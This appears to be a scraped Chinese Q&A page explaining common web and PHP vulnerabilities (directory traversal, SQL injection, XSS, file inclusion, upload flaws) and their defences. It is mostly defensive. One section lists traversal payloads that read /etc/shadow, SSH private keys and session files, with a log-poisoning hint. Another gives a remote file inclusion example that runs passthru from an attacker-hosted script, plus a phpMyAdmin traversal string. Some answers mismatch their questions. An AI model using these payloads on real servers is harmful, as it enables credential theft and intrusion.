『壹』 什麼是目錄遍歷攻擊及如何防護
擊人員通過目錄便利攻擊可以獲取系統文件及伺服器的配置文件等等。一般來說,他們利用伺服器API、文件標准許可權進行攻擊。嚴格來說,目錄遍歷攻擊並不是一種web漏洞,而是網站設計人員的設計「漏洞」。如果web設計者設計的web內容沒有恰當的訪問控制,允許http遍歷,攻擊者就可以訪問受限的目錄,並可以在web根目錄以外執行命令。
攻擊方法
攻擊者通過訪問根目錄,發送一系列」../」字元來遍歷高層目錄,並且可以執行系統命令,甚至使系統崩潰。
發現漏洞
1、可以利用web漏洞掃描器掃描一下web應用,不僅可以找出漏洞,還會提供解決辦法,另外還可以發現是否存在sql漏洞及其他漏洞。 2、也可以查看web log,如果發現有未授權用戶訪問越級目錄,說明有目錄便利漏洞。
如何防範
防範目錄遍歷攻擊漏洞,最有效的辦法就是許可權控制,謹慎處理傳向文件系統API的參數。本人認為最好的防範方法就是組合使用下面兩條:
1、凈化數據:對用戶傳過來的文件名參數進行硬編碼或統一編碼,對文件類型進行白名單控制,對包含惡意字元或者空字元的參數進行拒絕。
2、web應用程序可以使用chrooted環境包含被訪問的web目錄,或者使用絕對路徑+參數來訪問文件目錄,時使其即使越權也在訪問目錄之內。www目錄就是一個chroot應用。
chroot
chroot是在unix系統的一個操作,針對正在運作的軟體進程和它的子進程,改變它外顯的根目錄。一個運行在這個環境下,經由chroot設置根目錄的程序,它不能夠對這個指定根目錄之外的文件進行訪問動作,不能讀取,也不能更改它的內容。chroot這一特殊表達可能指chroot(2)系統調用或chroot(8)前端程序。
由chroot創造出的那個根目錄,叫做「chroot監獄」(chroot jail,或chroot prison)。more chroot使用
『貳』 什麼是目錄遍歷漏洞,什麼是phpinfo消息泄露,最好是詳細的通俗易懂的啊
目錄遍歷漏洞在國內外有許多不同的叫法,比如也可以叫做信息泄露漏洞,非授權文件包含漏洞.名稱雖然多,可他們卻有一個共同的成因,就是在程序中沒有過濾用戶輸入的../和./之類的目錄跳轉符,導致惡意用戶可以通過提交目錄跳轉來遍歷伺服器上的任意文件,其危害可想而知.
『叄』 PHP漏洞有哪些
首先和ASP一樣,對敏感字元過濾不嚴會導致注入..
還有PHP很有特點,他得運行程序是很人性化得,如果設置不好,隨便提交個有錯得地址之類就會告訴你絕對路徑之類得敏感信息.
PHP包含過濾不嚴會導致讀取任意文件.
變數過濾不嚴會導致偽造數據欺騙伺服器.
等等等等好多..我說得這些都是比較常見和常用得
『肆』 web漏洞攻擊有哪些
一、SQL注入漏洞
SQL注入攻擊(SQL Injection),簡稱注入攻擊、SQL注入,被廣泛用於非法獲取網站控制權,是發生在應用程序的資料庫層上的安全漏洞。在設計程序,忽略了對輸入字元串中夾帶的SQL指令的檢查,被資料庫誤認為是正常的SQL指令而運行,從而使資料庫受到攻擊,可能導致數據被竊取、更改、刪除,以及進一步導致網站被嵌入惡意代碼、被植入後門程序等危害。
通常情況下,SQL注入的位置包括:
(1)表單提交,主要是POST請求,也包括GET請求;
(2)URL參數提交,主要為GET請求參數;
(3)Cookie參數提交;
(4)HTTP請求頭部的一些可修改的值,比如Referer、User_Agent等;
(5)一些邊緣的輸入點,比如.mp3文件的一些文件信息等。
常見的防範方法
(1)所有的查詢語句都使用資料庫提供的參數化查詢介面,參數化的語句使用參數而不是將用戶輸入變數嵌入到SQL語句中。當前幾乎所有的資料庫系統都提供了參數化SQL語句執行介面,使用此介面可以非常有效的防止SQL注入攻擊。
(2)對進入資料庫的特殊字元(』」<>&*;等)進行轉義處理,或編碼轉換。
(3)確認每種數據的類型,比如數字型的數據就必須是數字,資料庫中的存儲欄位必須對應為int型。
(4)數據長度應該嚴格規定,能在一定程度上防止比較長的SQL注入語句無法正確執行。
(5)網站每個數據層的編碼統一,建議全部使用UTF-8編碼,上下層編碼不一致有可能導致一些過濾模型被繞過。
(6)嚴格限制網站用戶的資料庫的操作許可權,給此用戶提供僅僅能夠滿足其工作的許可權,從而最大限度的減少注入攻擊對資料庫的危害。
(7)避免網站顯示SQL錯誤信息,比如類型錯誤、欄位不匹配等,防止攻擊者利用這些錯誤信息進行一些判斷。
(8)在網站發布之前建議使用一些專業的SQL注入檢測工具進行檢測,及時修補這些SQL注入漏洞。
二、跨站腳本漏洞
跨站腳本攻擊(Cross-site scripting,通常簡稱為XSS)發生在客戶端,可被用於進行竊取隱私、釣魚欺騙、竊取密碼、傳播惡意代碼等攻擊。
XSS攻擊使用到的技術主要為HTML和Javascript,也包括VBScript和ActionScript等。XSS攻擊對WEB伺服器雖無直接危害,但是它藉助網站進行傳播,使網站的使用用戶受到攻擊,導致網站用戶帳號被竊取,從而對網站也產生了較嚴重的危害。
XSS類型包括:
(1)非持久型跨站:即反射型跨站腳本漏洞,是目前最普遍的跨站類型。跨站代碼一般存在於鏈接中,請求這樣的鏈接時,跨站代碼經過服務端反射回來,這類跨站的代碼不存儲到服務端(比如資料庫中)。上面章節所舉的例子就是這類情況。
(2)持久型跨站:這是危害最直接的跨站類型,跨站代碼存儲於服務端(比如資料庫中)。常見情況是某用戶在論壇發貼,如果論壇沒有過濾用戶輸入的Javascript代碼數據,就會導致其他瀏覽此貼的用戶的瀏覽器會執行發貼人所嵌入的Javascript代碼。
(3)DOM跨站(DOM XSS):是一種發生在客戶端DOM(Document Object Model文檔對象模型)中的跨站漏洞,很大原因是因為客戶端腳本處理邏輯導致的安全問題。
常用的防止XSS技術包括:
(1)與SQL注入防護的建議一樣,假定所有輸入都是可疑的,必須對所有輸入中的script、iframe等字樣進行嚴格的檢查。這里的輸入不僅僅是用戶可以直接交互的輸入介面,也包括HTTP請求中的Cookie中的變數,HTTP請求頭部中的變數等。
(2)不僅要驗證數據的類型,還要驗證其格式、長度、范圍和內容。
(3)不要僅僅在客戶端做數據的驗證與過濾,關鍵的過濾步驟在服務端進行。
(4)對輸出的數據也要檢查,資料庫里的值有可能會在一個大網站的多處都有輸出,即使在輸入做了編碼等操作,在各處的輸出點時也要進行安全檢查。
(5)在發布應用程序之前測試所有已知的威脅。
三、弱口令漏洞
弱口令(weak password) 沒有嚴格和准確的定義,通常認為容易被別人(他們有可能對你很了解)猜測到或被破解工具破解的口令均為弱口令。設置密碼通常遵循以下原則:
(1)不使用空口令或系統預設的口令,這些口令眾所周之,為典型的弱口令。
(2)口令長度不小於8個字元。
(3)口令不應該為連續的某個字元(例如:AAAAAAAA)或重復某些字元的組合(例如:tzf.tzf.)。
(4)口令應該為以下四類字元的組合,大寫字母(A-Z)、小寫字母(a-z)、數字(0-9)和特殊字元。每類字元至少包含一個。如果某類字元只包含一個,那麼該字元不應為首字元或尾字元。
(5)口令中不應包含本人、父母、子女和配偶的姓名和出生日期、紀念日期、登錄名、E-mail地址等等與本人有關的信息,以及字典中的單詞。
(6)口令不應該為用數字或符號代替某些字母的單詞。
(7)口令應該易記且可以快速輸入,防止他人從你身後很容易看到你的輸入。
(8)至少90天內更換一次口令,防止未被發現的入侵者繼續使用該口令。
四、HTTP報頭追蹤漏洞
HTTP/1.1(RFC2616)規范定義了HTTP TRACE方法,主要是用於客戶端通過向Web伺服器提交TRACE請求來進行測試或獲得診斷信息。當Web伺服器啟用TRACE時,提交的請求頭會在伺服器響應的內容(Body)中完整的返回,其中HTTP頭很可能包括Session Token、Cookies或其它認證信息。攻擊者可以利用此漏洞來欺騙合法用戶並得到他們的私人信息。該漏洞往往與其它方式配合來進行有效攻擊,由於HTTP TRACE請求可以通過客戶瀏覽器腳本發起(如XMLHttpRequest),並可以通過DOM介面來訪問,因此很容易被攻擊者利用。
防禦HTTP報頭追蹤漏洞的方法通常禁用HTTP TRACE方法。
五、Struts2遠程命令執行漏洞
ApacheStruts是一款建立Java web應用程序的開放源代碼架構。Apache Struts存在一個輸入過濾錯誤,如果遇到轉換錯誤可被利用注入和執行任意Java代碼。
網站存在遠程代碼執行漏洞的大部分原因是由於網站採用了Apache Struts Xwork作為網站應用框架,由於該軟體存在遠程代碼執高危漏洞,導致網站面臨安全風險。CNVD處置過諸多此類漏洞,例如:「GPS車載衛星定位系統」網站存在遠程命令執行漏洞(CNVD-2012-13934);Aspcms留言本遠程代碼執行漏洞(CNVD-2012-11590)等。
修復此類漏洞,只需到Apache官網升級Apache Struts到最新版本:http://struts.apache.org
六、文件上傳漏洞
文件上傳漏洞通常由於網頁代碼中的文件上傳路徑變數過濾不嚴造成的,如果文件上傳功能實現代碼沒有嚴格限制用戶上傳的文件後綴以及文件類型,攻擊者可通過 Web 訪問的目錄上傳任意文件,包括網站後門文件(webshell),進而遠程式控制制網站伺服器。
因此,在開發網站及應用程序過程中,需嚴格限制和校驗上傳的文件,禁止上傳惡意代碼的文件。同時限制相關目錄的執行許可權,防範webshell攻擊。
七、私有IP地址泄露漏洞
IP地址是網路用戶的重要標示,是攻擊者進行攻擊前需要了解的。獲取的方法較多,攻擊者也會因不同的網路情況採取不同的方法,如:在區域網內使用Ping指令,Ping對方在網路中的名稱而獲得IP;在Internet上使用IP版的QQ直接顯示。最有效的辦法是截獲並分析對方的網路數據包。攻擊者可以找到並直接通過軟體解析截獲後的數據包的IP包頭信息,再根據這些信息了解具體的IP。
針對最有效的「數據包分析方法」而言,就可以安裝能夠自動去掉發送數據包包頭IP信息的一些軟體。不過使用這些軟體有些缺點,譬如:耗費資源嚴重,降低計算機性能;訪問一些論壇或者網站時會受影響;不適合網吧用戶使用等等。現在的個人用戶採用最普及隱藏IP的方法應該是使用代理,由於使用代理伺服器後,「轉址服務」會對發送出去的數據包有所修改,致使「數據包分析」的方法失效。一些容易泄漏用戶IP的網路軟體(QQ、MSN、IE等)都支持使用代理方式連接Internet,特別是QQ使用「ezProxy」等代理軟體連接後,IP版的QQ都無法顯示該IP地址。雖然代理可以有效地隱藏用戶IP,但攻擊者亦可以繞過代理,查找到對方的真實IP地址,用戶在何種情況下使用何種方法隱藏IP,也要因情況而論。
八、未加密登錄請求
由於Web配置不安全,登陸請求把諸如用戶名和密碼等敏感欄位未加密進行傳輸,攻擊者可以竊聽網路以劫獲這些敏感信息。建議進行例如SSH等的加密後再傳輸。
九、敏感信息泄露漏洞
SQL注入、XSS、目錄遍歷、弱口令等均可導致敏感信息泄露,攻擊者可以通過漏洞獲得敏感信息。針對不同成因,防禦方式不同
十、CSRF
http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
Web應用是指採用B/S架構、通過HTTP/HTTPS協議提供服務的統稱。隨著互聯網的廣泛使用,Web應用已經融入到日常生活中的各個方面:網上購物、網路銀行應用、證券股票交易、政府行政審批等等。在這些Web訪問中,大多數應用不是靜態的網頁瀏覽,而是涉及到伺服器側的動態處理。此時,如果Java、PHP、ASP等程序語言的編程人員的安全意識不足,對程序參數輸入等檢查不嚴格等,會導致Web應用安全問題層出不窮。
本文根據當前Web應用的安全情況,列舉了Web應用程序常見的攻擊原理及危害,並給出如何避免遭受Web攻擊的建議。
Web應用漏洞原理
Web應用攻擊是攻擊者通過瀏覽器或攻擊工具,在URL或者其它輸入區域(如表單等),向Web伺服器發送特殊請求,從中發現Web應用程序存在的漏洞,從而進一步操縱和控制網站,查看、修改未授權的信息。
1.1 Web應用的漏洞分類
1、信息泄露漏洞
信息泄露漏洞是由於Web伺服器或應用程序沒有正確處理一些特殊請求,泄露Web伺服器的一些敏感信息,如用戶名、密碼、源代碼、伺服器信息、配置信息等。
造成信息泄露主要有以下三種原因:
–Web伺服器配置存在問題,導致一些系統文件或者配置文件暴露在互聯網中;
–Web伺服器本身存在漏洞,在瀏覽器中輸入一些特殊的字元,可以訪問未授權的文件或者動態腳本文件源碼;
–Web網站的程序編寫存在問題,對用戶提交請求沒有進行適當的過濾,直接使用用戶提交上來的數據。
2、目錄遍歷漏洞
目錄遍歷漏洞是攻擊者向Web伺服器發送請求,通過在URL中或在有特殊意義的目錄中附加「../」、或者附加「../」的一些變形(如「..\」或「..//」甚至其編碼),導致攻擊者能夠訪問未授權的目錄,以及在Web伺服器的根目錄以外執行命令。
3、命令執行漏洞
命令執行漏洞是通過URL發起請求,在Web伺服器端執行未授權的命令,獲取系統信息,篡改系統配置,控制整個系統,使系統癱瘓等。
命令執行漏洞主要有兩種情況:
–通過目錄遍歷漏洞,訪問系統文件夾,執行指定的系統命令;
–攻擊者提交特殊的字元或者命令,Web程序沒有進行檢測或者繞過Web應用程序過濾,把用戶提交的請求作為指令進行解析,導致執行任意命令。
4、文件包含漏洞
文件包含漏洞是由攻擊者向Web伺服器發送請求時,在URL添加非法參數,Web伺服器端程序變數過濾不嚴,把非法的文件名作為參數處理。這些非法的文件名可以是伺服器本地的某個文件,也可以是遠端的某個惡意文件。由於這種漏洞是由PHP變數過濾不嚴導致的,所以只有基於PHP開發的Web應用程序才有可能存在文件包含漏洞。
5、SQL注入漏洞
SQL注入漏洞是由於Web應用程序沒有對用戶輸入數據的合法性進行判斷,攻擊者通過Web頁面的輸入區域(如URL、表單等) ,用精心構造的SQL語句插入特殊字元和指令,通過和資料庫交互獲得私密信息或者篡改資料庫信息。SQL注入攻擊在Web攻擊中非常流行,攻擊者可以利用SQL注入漏洞獲得管理員許可權,在網頁上加掛木馬和各種惡意程序,盜取企業和用戶敏感信息。
6、跨站腳本漏洞
跨站腳本漏洞是因為Web應用程序時沒有對用戶提交的語句和變數進行過濾或限制,攻擊者通過Web頁面的輸入區域向資料庫或HTML頁面中提交惡意代碼,當用戶打開有惡意代碼的鏈接或頁面時,惡意代碼通過瀏覽器自動執行,從而達到攻擊的目的。跨站腳本漏洞危害很大,尤其是目前被廣泛使用的網路銀行,通過跨站腳本漏洞攻擊者可以冒充受害者訪問用戶重要賬戶,盜竊企業重要信息。
根據前期各個漏洞研究機構的調查顯示,SQL注入漏洞和跨站腳本漏洞的普遍程度排名前兩位,造成的危害也更加巨大。
1.2 SQL注入攻擊原理
SQL注入攻擊是通過構造巧妙的SQL語句,同網頁提交的內容結合起來進行注入攻擊。比較常用的手段有使用注釋符號、恆等式(如1=1)、使用union語句進行聯合查詢、使用insert或update語句插入或修改數據等,此外還可以利用一些內置函數輔助攻擊。
通過SQL注入漏洞攻擊網站的步驟一般如下:
第一步:探測網站是否存在SQL注入漏洞。
第二步:探測後台資料庫的類型。
第三步:根據後台資料庫的類型,探測系統表的信息。
第四步:探測存在的表信息。
第五步:探測表中存在的列信息。
第六步:探測表中的數據信息。
1.3 跨站腳本攻擊原理
跨站腳本攻擊的目的是盜走客戶端敏感信息,冒充受害者訪問用戶的重要賬戶。跨站腳本攻擊主要有以下三種形式:
1、本地跨站腳本攻擊
B給A發送一個惡意構造的Web URL,A點擊查看了這個URL,並將該頁面保存到本地硬碟(或B構造的網頁中存在這樣的功能)。A在本地運行該網頁,網頁中嵌入的惡意腳本可以A電腦上執行A持有的許可權下的所有命令。
2、反射跨站腳本攻擊
A經常瀏覽某個網站,此網站為B所擁有。A使用用戶名/密碼登錄B網站,B網站存儲下A的敏感信息(如銀行帳戶信息等)。C發現B的站點包含反射跨站腳本漏洞,編寫一個利用漏洞的URL,域名為B網站,在URL後面嵌入了惡意腳本(如獲取A的cookie文件),並通過郵件或社會工程學等方式欺騙A訪問存在惡意的URL。當A使用C提供的URL訪問B網站時,由於B網站存在反射跨站腳本漏洞,嵌入到URL中的惡意腳本通過Web伺服器返回給A,並在A瀏覽器中執行,A的敏感信息在完全不知情的情況下將發送給了C。
3、持久跨站腳本攻擊
B擁有一個Web站點,該站點允許用戶發布和瀏覽已發布的信息。C注意到B的站點具有持久跨站腳本漏洞,C發布一個熱點信息,吸引用戶閱讀。A一旦瀏覽該信息,其會話cookies或者其它信息將被C盜走。持久性跨站腳本攻擊一般出現在論壇、留言簿等網頁,攻擊者通過留言,將攻擊數據寫入伺服器資料庫中,瀏覽該留言的用戶的信息都會被泄漏。
Web應用漏洞的防禦實現
對於以上常見的Web應用漏洞漏洞,可以從如下幾個方面入手進行防禦:
1)對 Web應用開發者而言
大部分Web應用常見漏洞,都是在Web應用開發中,開發者沒有對用戶輸入的參數進行檢測或者檢測不嚴格造成的。所以,Web應用開發者應該樹立很強的安全意識,開發中編寫安全代碼;對用戶提交的URL、查詢關鍵字、HTTP頭、POST數據等進行嚴格的檢測和限制,只接受一定長度范圍內、採用適當格式及編碼的字元,阻塞、過濾或者忽略其它的任何字元。通過編寫安全的Web應用代碼,可以消除絕大部分的Web應用安全問題。
2) 對Web網站管理員而言
作為負責網站日常維護管理工作Web管理員,應該及時跟蹤並安裝最新的、支撐Web網站運行的各種軟體的安全補丁,確保攻擊者無法通過軟體漏洞對網站進行攻擊。
除了軟體本身的漏洞外,Web伺服器、資料庫等不正確的配置也可能導致Web應用安全問題。Web網站管理員應該對網站各種軟體配置進行仔細檢測,降低安全問題的出現可能。
此外,Web管理員還應該定期審計Web伺服器日誌,檢測是否存在異常訪問,及早發現潛在的安全問題。
3)使用網路防攻擊設備
前兩種為事前預防方式,是比較理想化的情況。然而在現實中,Web應用系統的漏洞還是不可避免的存在:部分Web網站已經存在大量的安全漏洞,而Web開發者和網站管理員並沒有意識到或發現這些安全漏洞。由於Web應用是採用HTTP協議,普通的防火牆設備無法對Web類攻擊進行防禦,因此可以使用IPS入侵防禦設備來實現安全防護。
H3C IPS Web攻擊防禦
H3C IPS入侵防禦設備有一套完整的Web攻擊防禦框架,能夠及時發現各種已經暴露的和潛在的Web攻擊。下圖為對於Web攻擊的總體防禦框架。
圖1:Web攻擊防禦框架,參見:http://blog.csdn.net/moshenglv/article/details/53439579
H3C IPS採用基於特徵識別的方式識別並阻斷各種攻擊。IPS設備有一個完整的特徵庫,並可定期以手工與自動的方式對特徵庫進行升級。當網路流量進入IPS後,IPS首先對報文進行預處理,檢測報文是否正確,即滿足協議定義要求,沒有錯誤欄位;如果報文正確,則進入深度檢測引擎。該引擎是IPS檢測的核心模塊,對通過IPS設備的Web流量進行深層次的分析,並與IPS攻擊庫中的特徵進行匹配,檢測Web流量是否存在異常;如果發現流量匹配了攻擊特徵,IPS則阻斷網路流量並上報日誌;否則,網路流量順利通過。
此Web攻擊防禦框架有如下幾個特點:
1) 構造完整的Web攻擊檢測模型,准確識別各種Web攻擊
針對Web攻擊的特點,考慮到各種Web攻擊的原理和形態,在不同漏洞模型之上開發出通用的、層次化的Web攻擊檢測模型,並融合到特徵庫中。這些模型抽象出Web攻擊的一般形態,對主流的攻擊能夠准確識別,使得模型通用化。
2) 檢測方式靈活,可以准確識別變形的Web攻擊
在實際攻擊中,攻擊者為了逃避防攻擊設備的檢測,經常對Web攻擊進行變形,如採用URL編碼技術、修改參數等。H3C根據Web應用漏洞發生的原理、攻擊方式和攻擊目標,對攻擊特徵進行了擴展。即使攻擊者修改攻擊參數、格式、語句等內容,相同漏洞原理下各種變形的攻擊同樣能夠被有效阻斷。這使得IPS的防禦范圍擴大,防禦的靈活性也顯著增強,極大的減少了漏報情況的出現。
3) 確保對最新漏洞及技術的跟蹤,有效阻止最新的攻擊
隨著Web攻擊出現的頻率日益增高,其危害有逐步擴展的趨勢。這對IPS設備在防禦的深度和廣度上提出了更高的要求,不僅要能夠防禦已有的Web攻擊,更要有效的阻止最新出現的、未公布的攻擊。目前,H3C已經建立起一套完整的攻防試驗環境,可以及時發現潛在Web安全漏洞。同時還在繼續跟蹤最新的Web攻擊技術和工具,及時更新Web攻擊的特徵庫,第一時間發布最新的Web漏洞應對措施,確保用戶的網路不受到攻擊。
4) 保證正常業務的高效運行
檢測引擎是IPS整個設備運行的關鍵,該引擎使用了高效、准確的檢測演算法,對通過設備的流量進行深層次的分析,並通過和攻擊特徵進行匹配,檢測流量是否存在異常。如果流量沒有匹配到攻擊特徵,則允許流量通過,不會妨礙正常的網路業務,在准確防禦的同時保證了正常業務的高效運行。
結束語
互聯網和Web技術廣泛使用,使Web應用安全所面臨的挑戰日益嚴峻,Web系統時時刻刻都在遭受各種攻擊的威脅,在這種情況下,需要制定一個完整的Web攻擊防禦解決方案,通過安全的Web應用程序、Web伺服器軟體、Web防攻擊設備共同配合,確保整個網站的安全。任何一個簡單的漏洞、疏忽都會造成整個網站受到攻擊,造成巨大損失。此外 ,Web攻擊防禦是一個長期持續的工作,隨著Web技術的發展和更新,Web攻擊手段也不斷發展,針對這些最新的安全威脅,需要及時調整Web安全防護策略,確保Web攻擊防禦的主動性,使Web網站在一個安全的環境中為企業和客戶服務。
原文鏈接:
『伍』 請教大家如何解決網站SQL注入漏洞,目錄遍歷漏洞謝謝!
我知道目錄遍歷漏洞如何解決了,就是我伺服器的IIS設置里,主目錄里,把目錄瀏覽前面的勾去掉即可.謝謝大家,不過我的SQL注入漏洞還沒解決呢!我找到一個軟體,NBSI3.0,測試了我的網站,用get方式檢測,還是可以猜出表名和列名,但是用post方式檢測就沒有了,所以正在研究如何讓get
方式檢測也可以沒有漏洞,有知道怎麼弄的專家,高手請指教!謝謝!
『陸』 php漏洞與代碼審計過程中需要注意的幾點
1.xss + sql注入
其中佔大頭的自然是XSS與SQL注入,對於框架類型或者有公共文件的,建議在公共文件中統一做一次XSS和SQL注入的過濾。寫個過濾函數,可由如下所示:
$_REQUEST = filter_xss($_REQUEST);
$_GET = filter_xss($_GET);
$_POST = filter_xss($_POST);
$_COOKIE = filter_xss($_COOKIE);
$_POST = filter_sql($_POST);
$_GET = filter_sql($_GET);
$_COOKIE = filter_sql($_COOKIE);
$_REQUEST = filter_sql($_REQUEST);
這里有一點需要說明,$_REQUEST雖然等於$_GET+$_POST,但他們是獨立的數組,也就是說假設改變了$_GET的值,但$_REQUEST的值還是原來的值,所以過濾時都不能落下,至於其他的如$_FILE之類的就可忽略了。
最簡單的filter_xss函數是htmlspecialchars()
最簡單的filter_sql函數是mysql_real_escape_string()
當然,誰都知道這種過濾filter_sql只能過濾字元型和搜索型的注入,對於數字型是沒有辦法的,但也說明做了這層過濾後,只需在後面注意數字型的SQL語句就可以了,遇到了加intval過濾就可以了,這就變得容易多了。
2. 命令執行
對於命令執行,可以從關鍵字入手,總共可分為3類
(1) php代碼執行 :eval等
(2)shell命令執行:exec、passthru、system、shell_exec等
(3) 文件處理:fwrite、fopen、mkdir等
對於這幾類需要注意其參數是否用戶可控。
3.上傳漏洞
對於上傳漏洞,也是重點關注的地方,要仔細分析它的處理流程,針對上傳的繞過方式是很多的,最保險的方式:在保存文件是採用文件名隨機命名和後綴白名單方式。其次要注意的一點是上傳文件的地方可能不止一處,不要有遺漏,可能會碰到這樣的情況,突然在某個目錄裡麵包含了一個第三方的編輯器在裡面。
文件包含漏洞涉及的函數如include() 、include_once()、require()、require_once()、file_get_contents()等
最常見的還是出在下載文件功能函數,例如download.php?file=///etc/passwd 這種類型中。
4. 許可權繞過
許可權繞過可分為兩類吧
(1)後台文件的未授權訪問。後台的文件沒有包含對session的驗證,就容易出現這樣的問題
(2)未作用戶隔離,例如mail.php?id=23顯示了你的信件,那麼換個ID, mail.php?id=24就查看到了別人的信件,編寫代碼是方便,把信件都存在一個數據表裡,id統一編號,前端展現時只需按id取出即可,但未作用戶隔離,判定歸屬,容易造成越權訪問。
這樣的例子是很常見的,給某銀行做評估是就經常發現這種漏洞。
5. 信息泄露
信息泄露算是比較低危的漏洞了,比如列目錄這種就屬於部署問題,而與代碼審計無關了,而像暴路徑、暴源碼這種是需要防止的。曾經遇到這樣的代碼
<?php if(empty($_GET['a'])) {…} ?>
表面上似乎沒問題,可是當請求變為 xx.php?a[]=1時,即參數變為數組的時候,就會發生錯誤以致路徑泄露,而用isset判斷則不會,當然一個個防太麻煩,建議在配置文件中關閉錯誤提示,或者在公共文件中加入如下代碼以關閉錯誤顯示功能:
<?php error_reporting(0);?>
『柒』 php文件包含漏洞可能造成的危害有哪些
在接下來的內容中會以代碼樣本作為例子,來給大家介紹各種奇葩猥瑣的利用姿勢。
0x01 普通本地文件包含
1
<?php
include("inc/"
. $_GET['file']);
?>
包含同目錄下的文件:
?file=.htaccess
目錄遍歷:
?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db
(Linux中這兩個文件儲存著所有文件的路徑,需要root許可權)
包含錯誤日誌: ?file=../../../../../../../../../var/log/apache/error.log (試試把UA設置為「」來使payload進入日誌)
獲取web目錄或者其他配置文件:
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
(更多→http://wiki.apache.org/httpd/DistrosDefaultLayout)
包含上傳的附件:
?file=../attachment/media/xxx.file
讀取session文件:
?file=../../../../../../tmp/sess_tnrdo9ub2tsrntv0pdir1no7
(session文件一般在/tmp目錄下,格式為sess_[your phpsessid value],有時候也有可能在/var/lib/php5之類的,在此之前建議先讀取配置文件。在某些特定的情況下如果你能夠控制session的值,也許你能夠獲得一個shell)
如果擁有root許可權還可以試試讀這些東西:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件標識符)
/proc/mounts
/proc/config.gz
如果有phpinfo可以包含臨時文件:
參見http://hi..com/mmnwzsdvpkjovwr/item/3f7ceb39965145eea984284el
『捌』 目錄遍歷攻擊可以直接帶來哪些危害
受益來說比較復雜,有一些小型ddos攻擊者,只是為了虛榮心,基本沒有什麼利益但是有組織,有目的的ddos攻擊,是有復雜的利益鏈,一般都會有上家付錢給攻擊者。對於被害者來說,危害就是網站,設置網站所在伺服器不能正常工作,網站癱瘓。損害很大。
(8)php目錄遍歷漏洞擴展閱讀
目錄遍歷攻擊
一、描述
攻擊人員通過目錄便利攻擊可以獲取系統文件及伺服器的配置文件等等。一般來說,他們利用伺服器API、文件標准許可權進行攻擊。嚴格來說,目錄遍歷攻擊並不是一種web漏洞,而是網站設計人員的設計「漏洞」。
如果web設計者設計的web內容沒有恰當的訪問控制,允許http遍歷,攻擊者就可以訪問受限的目錄,並可以在web根目錄以外執行命令。
二、攻擊方法
攻擊者通過訪問根目錄,發送一系列」../」字元來遍歷高層目錄,並且可以執行系統命令,甚至使系統崩潰。
三、發現漏洞
1、可以利用web漏洞掃描器掃描一下web應用,不僅可以找出漏洞,還會提供解決辦法,另外還可以發現是否存在sql漏洞及其他漏洞。
2、也可以查看weblog,如果發現有未授權用戶訪問越級目錄,說明有目錄便利漏洞。
四、如何防範
防範目錄遍歷攻擊漏洞,最有效的辦法就是許可權控制,謹慎處理傳向文件系統API的參數。本人認為最好的防範方法就是組合使用下面兩條:
1、凈化數據:對用戶傳過來的文件名參數進行硬編碼或統一編碼,對文件類型進行白名單控制,對包含惡意字元或者空字元的參數進行拒絕。
2、web應用程序可以使用chrooted環境包含被訪問的web目錄,或者使用絕對路徑+參數來訪問文件目錄,時使其即使越權也在訪問目錄之內。www目錄就是一個chroot應用。
『玖』 php源碼漏洞多少錢
從現在的網路安全來看,大家最關注和接觸最多的WEB頁面漏洞應該是ASP了,在這方面,小竹是專家,我沒發言權.然而在PHP方面來看,也同樣存在
很嚴重的安全問題,但是這方面的文章卻不多.在這里,就跟大家來稍微的討論一下PHP頁面的相關漏洞吧.
我對目前常見的PHP漏洞做了一下總結,大致分為以下幾種包含文件漏洞,腳本命令執行漏洞,文件泄露漏洞,SQL注入漏洞等幾種.當然,至於
COOKIE欺騙等一部分通用的技術就不在這里討論了,這些資料網上也很多.那麼,我們就一個一個來分析一下怎樣利用這些漏洞吧!
首先,我們來討論包含文件漏洞.這個漏洞應該說是PHP獨有的吧.這是由於不充分處理外部提供的惡意數據,從而導致遠程攻擊者可以利用這
些漏洞以WEB進程許可權在系統上執行任意命令.我們來看一個例子假設在a.php中有這樣一句代碼
php
include($include.***.php);
在這段代碼中,$include一般是一個已經設置好的路徑,但是我們可以通過自己構造一個路徑來達到攻擊的目的.比方說我們提交
a.phpinclude=httpwebb.php,這個web是我們用做攻擊的空間,當然,b.php也就是我們用來攻擊的代碼了.我們可以在b.php中寫入類似於
passthru(binls etc);的代碼.這樣,就可以執行一些有目的的攻擊了.(注web伺服器應該不能執行php代碼,不然就出問題了.相關詳情可以去看
如何對PHP程序中的常見漏洞進行攻擊).在這個漏洞方面,出狀況的很多,比方說PayPal Store Front,
HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.
接著,我們再來看一下腳本命令執行漏洞.這是由於對用戶提交的URI參數缺少充分過濾,提交包含惡意HTML代碼的數據,可導致觸發跨站腳
本攻擊,可能獲得目標用戶的敏感信息。我們也舉個例子在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php頁面對PHPSESSID缺少充
分的過濾,我們可以通過這樣的代碼來達到攻擊的目的
httpwebindex.phpPHPSESSID=script...script在script裡面我們可以構造函數來獲得用戶的一些敏感信息.在這個漏洞方面相對要少一點,除了
PHP Transparent之外還有PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.
再然後,我們就來看看文件泄露漏洞了.這種漏洞是由於對用戶提交參數缺少充分過濾,遠程攻擊者可以利用它進行目錄遍歷攻擊以及獲取
一些敏感信息。我們拿最近發現的phpMyAdmin來做例子.在phpMyAdmin中,export.php頁面沒有對用戶提交的'what'參數進行充分過濾,遠程攻擊
者提交包含多個'..'字元的數據,便可繞過WEB ROOT限制,以WEB許可權查看系統上的任意文件信息。比方說打入這樣一個地址
export.phpwhat=............etcpasswd%00 就可以達到文件泄露的目的了.在這方面相對多一點,有myPHPNuke,McNews等等.
最後,我們又要回到最興奮的地方了.想想我們平時在asp頁面中用SQL注入有多麼爽,以前還要手動注入,一直到小竹悟出SQL注入密笈(嘿
嘿),然後再開做出NBSI以後,我們NB聯盟真是拉出一片天空.曾先後幫CSDN,大富翁論壇,中國頻道等大型網站找出漏洞.(這些廢話不多說了,有點
